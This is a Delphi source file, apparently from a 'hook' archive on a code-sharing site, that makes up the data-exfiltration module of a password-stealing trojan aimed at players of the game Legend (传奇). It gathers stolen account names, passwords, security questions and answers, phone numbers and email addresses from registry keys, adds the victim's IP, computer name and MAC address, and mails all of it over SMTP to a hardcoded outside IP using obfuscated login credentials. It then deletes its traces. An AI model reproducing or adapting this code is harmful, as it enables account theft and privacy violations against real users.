www.pudn.com > hook.rar > SendMail.pas
unit SendMail;
interface
uses winsock,Reg,windows,Other;
procedure SendEMail;
procedure ClearSH(Root:Hkey;StrPath:Pchar);
procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);
implementation
const CRLF=#13#10;
function LocalIP:string;
type TaPInAddr=array [0..10] of PInAddr;
PaPInAddr=^TaPInAddr;
var phe:PHostEnt;
pptr:PaPInAddr;
Buffer:array [0..63] of char;
I:Integer;
GInitData:TWSADATA;
begin
WSAStartup($101,GInitData);
Result:='';
GetHostName(Buffer,SizeOf(Buffer));
phe:=GetHostByName(buffer);
if phe=nil then Exit;
pptr:=PaPInAddr(Phe^.h_addr_list);
I:=0;
while pptr^[I]<>nil do begin
result:=StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
End;
procedure ClearSH(Root:Hkey;StrPath:Pchar);
var SubKey,Key:String;
i,n,p:integer;
begin
n:=0;
p:=0;
n:=Getkeyname(Root,StrPath,SubKey);
if n>0 then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then
Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if readvalue(Root,pchar(Strpath+'\'+Key),'区域')='abcdefghijklmnopqrstuvwxyz1234567890' then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
End;
procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);
var SubKey,Key:String;
i,n,p:integer;
begin
n:=0;
p:=0;
n:=GetKeyname(Root,StrPath,SubKey);
if n>0 then begin
if Flag='Change password' then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'OP')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NP')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NP')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
if Flag='Registry' then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'PW')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NA')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'BI')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'Q1')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'A1')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'Q2')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'A2')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'PW')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
end;
End;
function GetMailbody(var Body:string):String;
var SubKey,Key,Res,Temp:string;
i,n,p:integer;
flag:Boolean;
begin
flag:=false;
n:=0;
SubKey:='';
n:=getkeyname(HKEY_CLASSES_ROOT,'Legend\Enter',SubKey);
if n<>0 then begin
flag:=True;
Body:='传奇登录'+CRLF+'------------------------------'+CRLF;
Res:=Res+'登录 ';
for i:=1 to n do begin //DOOP SUBKEY
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'区域')+CRLF+
'用户名:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'ID')+CRLF+
'密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'PW')+CRLF+
'服务器:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'SP')+CRLF+CRLF;
delete(SubKey,1,p);
end; //end DOOP SUBKEY for
Body:=Body+Temp;
end; //end if
n:=0;
SubKey:='';
Temp:='';
n:=getkeyname(HKEY_CLASSES_ROOT,'Legend\Change password',SubKey);
if n<>0 then begin
flag:=True;
Body:=Body+'修改密码'+CRLF+'------------------------------'+CRLF;
Res:=Res+'修改密码 ';
for i:=1 to n do begin //DOOP SUBKEY
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'区域')+CRLF+
'用户名:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'ID')+CRLF+
'当前密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'OP')+CRLF+
'新密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'NP')+CRLF+
'重复:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'RE')+CRLF+CRLF;
delete(SubKey,1,p);
end; //end DOOP SUBKEY for
Body:=Body+Temp;
end; //end if
n:=0;
SubKey:='';
Temp:='';
n:=getkeyname(HKEY_CLASSES_ROOT,'Legend\Registry',SubKey);
if n<>0 then begin
flag:=True;
Body:=Body+'新用户'+CRLF+'------------------------------'+CRLF;
Res:=Res+'新用户';
for i:=1 to n do begin //DOOP SUBKEY
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'区域')+CRLF+
'用户:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'ID')+CRLF+
'密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'PW')+CRLF+
'确认:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'RE')+CRLF+
'你的名字:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'NA')+CRLF+
'生日:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'BI')+CRLF+
'提问1:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'Q1')+CRLF+
'回答1:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'A1')+CRLF+
'提问2:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'Q2')+CRLF+
'回答2:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'A2')+CRLF+
'电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'NU')+CRLF+
'移动电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'MN')+CRLF+
'E-Mail:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'EM')+CRLF+CRLF;
delete(SubKey,1,p);
end; //end DOOP SUBKEY for
Body:=Body+Temp;
end; //end if
if flag then begin
Temp:='';
Temp:='附加信息'+CRLF+'------------------------------'+CRLF+
'IP地址:'+LocalIP+CRLF+
'计算机名:'+myGetcomputername+CRLF+
'操作系统:'+Readvalue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion','Version')+CRLF+
'物理地址:'+Readvalue(HKEY_LOCAL_MACHINE,'System\CurrentControlSet\Control','Address')+CRLF+
'发送时间:'+GetDateTime;
BODY:=BODY+TEMP;
end;
Result:=Res;
End;
function StartNet(host:string;port:integer;var sock:integer):Boolean;
var
wsadata:twsadata;
FSocket:integer;
SockAddrIn:TSockAddrIn;
err:integer;
begin
err:=WSAStartup($0101,WSAData);
FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
if FSocket=invalid_socket then begin
Result:=False;
Exit;
end;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(port);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
if err=0 then begin
sock:=FSocket;
Result:=True;
end else Result:=False;
end;
procedure StopNet(Fsocket:integer);
var
err:integer;
begin
err:=closesocket(FSocket);
err:=WSACleanup;
end;
function SendData(FSocket:integer;SendStr:string):integer;
var
DataBuf:array[0..4096] of char;
err:integer;
begin
strcopy(DataBuf,pchar(SendStr));
err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
Result:=err;
end;
function GetData(FSocket:integer):String;
const MaxSize=1024;
var
DataBuf:array[0..MaxSize] of char;
err:integer;
begin
err:=recv(FSocket,DataBuf,MaxSize,0);
Result:=Strpas(DataBuf);
end;
procedure SendEMail;
var FSocket,res:integer;
Subject,MailText,SendBody:String;
Tomail:String;
begin
Subject:=Getmailbody(MailText);
if (Subject='') or (LocalIP='127.0.0.1') then Exit;
if StartNet('61.55.138.208',25,FSocket) then begin
SendData(FSocket,'EHLO 61.55.138.208'+CRLF);
getdata(FSocket);
SendData(FSocket,'AUTH LOGIN'+CRLF);
getdata(FSocket);
SendData(FSocket,
chr(98)+chr(87)+chr(108)+chr(121)
+CRLF);
getdata(FSocket);
SendData(FSocket,
chr(98)+chr(87)+chr(108)+chr(121)
+CRLF);
getdata(FSocket);
SendData(FSocket,'MAIL FROM: '+CRLF);
getdata(FSocket);
SendData(FSocket,'RCPT TO: '+CRLF); //收信箱地址
getdata(FSocket);
SendData(FSocket,'DATA'+CRLF);
getdata(FSocket);
SendBody:='From:Mir '+CRLF
+'To: '+CRLF //收信箱地址
+'Subject:www'+Subject+CRLF
+CRLF
+MailText+CRLF
+'.'+CRLF;
res:=SendData(FSocket,SendBody);
getdata(FSocket);
SendData(FSocket,'QUIT'+CRLF);
getdata(FSocket);
StopNet(Fsocket);
if res<>SOCKET_ERROR then begin
Delsub(HKEY_CLASSES_ROOT,'Legend','Enter');
Delsub(HKEY_CLASSES_ROOT,'Legend','Change password');
Delsub(HKEY_CLASSES_ROOT,'Legend','Registry');
end;
end;
end;
End.